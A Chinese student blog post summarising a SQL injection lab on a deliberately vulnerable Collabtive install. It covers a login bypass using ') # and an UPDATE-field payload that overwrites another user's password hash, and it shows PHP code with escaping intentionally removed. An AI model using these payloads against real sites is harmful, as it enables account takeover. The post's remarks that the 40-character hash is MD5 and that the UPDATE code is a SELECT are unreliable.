zoukankan      html  css  js  c++  java
  • 第十一周学习总结

    SQL注入实验

    SQL注入技术是利用web应用程序和数据库服务器之间的接口来篡改网站内容的攻击技术。通过把SQL命令插入到Web表单提交框、输入域名框或页面请求框中,最终欺骗服务器执行恶意的SQL命令。

    预备知识

    1、SQL语言
    结构化查询语言(Structured Query Language)简称SQL:是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统;同时也是数据库脚本文件的扩展名。
    2、SQL注入
    SQL注入:SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令,这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
    3、SQL注入危害
    非法读取、篡改、添加、删除数据库中的数据。
    盗取用户的各类敏感信息,获取利益。
    通过修改数据库来修改网页上的内容。
    私自添加或删除账号。
    注入木马等等。
    4、环境搭建
    启动mysql:

    启动Apache:

    配置DNS:

    配置网站文件:


    访问测试:http://www.sqllabcollabtive.com

    关闭php配置策略:

    实验内容

    lab1 select语句的sql注入

    访问:www.sqllabcollabtive.com;当我们知道用户而不知道到密码的时候,我们可以怎么登陆?
    查看登陆验证文件:
    我们可以构造一个语句,在不知道密码的情况下登陆:

    修改完后重启一下服务器:

    我们在$user后面加上) # 这样就会只验证用户名,后面的会被#注释,我们就可以绕过密码直接登录:

    lab2 update语句的sql注入

    Collabtive平台中可以更新用户信息,我们要实现通过自己的用户去修改别人的用户信息;
    访问用户编辑链接:http://www.sqllabcollabtive.com/manageuser.php?action=editform&id=1
    在Collabtive web应用程序中,如果用户想更新他们的个人资料,他们可以去我的帐户,单击编辑链接,然后填写表格以更新资料信息。在用户发送更新请求到服务器,一个UPDATE SQL语句将建造在include/class.user.php。这句话的目的是修改用户表中的当前用户的配置信息。
    有一个在这个SQL语句中的SQL注入漏洞;
    sudo vim /var/www/SQL/Collabtive/include/class.user.php
    我们可以找到如下的代码

     function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
                  $zip, $gender, $url, $address1, $address2, $state,
                  $country, $tags, $locale, $avatar = "", $rate = 0.0)
        {
        $name = mysql_real_escape_string($name);
        $realname = mysql_real_escape_string($realname);
    
        //modified for SQL Lab
        //$company = mysql_real_escape_string($company);
        $email = mysql_real_escape_string($email);
    
        // further escaped parameters removed for brevity...
    
        $rate = (float) $rate;
        $id = (int) $id;
    
        if ($avatar != "")
            {
                $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                                    tel1='$tel1', tel2='$tel2', company='$company',
                                    zip='$zip', gender='$gender', url='$url',
                                    adress='$address1', adress2='$address2',
                                    state='$state', country='$country',
                                    tags='$tags', locale='$locale',
                                    avatar='$avatar', rate='$rate' WHERE ID = $id");
            }
        else
            {
                // same query as above minus setting avatar; removed for
                // brevity
            }
        if ($upd)
            {
                $this->mylog->add($name, 'user', 2, 0);
                return true;
            }
        else
            {
                return false;
            }
        }
    

    我们会发现​sql语句为:SELECT ID WHERE name=​'$user',并且company的位置是存在注入漏洞,原理同lab1。
    这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;
    在编辑用户的位置:user 填 ted 用户;
    Company 处填:

    ', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
    


    注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;
    点击修改,然后我们退出当前用户,使用ted用户登录,这个时候ted用户的密码应该是pass;

  • 相关阅读:
    Maximum Flow Exhaustion of Paths Algorithm
    ubuntu下安装java环境
    visualbox使用(二)
    vxworks一个超级奇怪的错误(parse error before `char')
    February 4th, 2018 Week 6th Sunday
    February 3rd, 2018 Week 5th Saturday
    February 2nd, 2018 Week 5th Friday
    February 1st, 2018 Week 5th Thursday
    January 31st, 2018 Week 05th Wednesday
    January 30th, 2018 Week 05th Tuesday
  • 原文地址:https://www.cnblogs.com/couragexin/p/6849667.html
Copyright © 2011-2022 走看看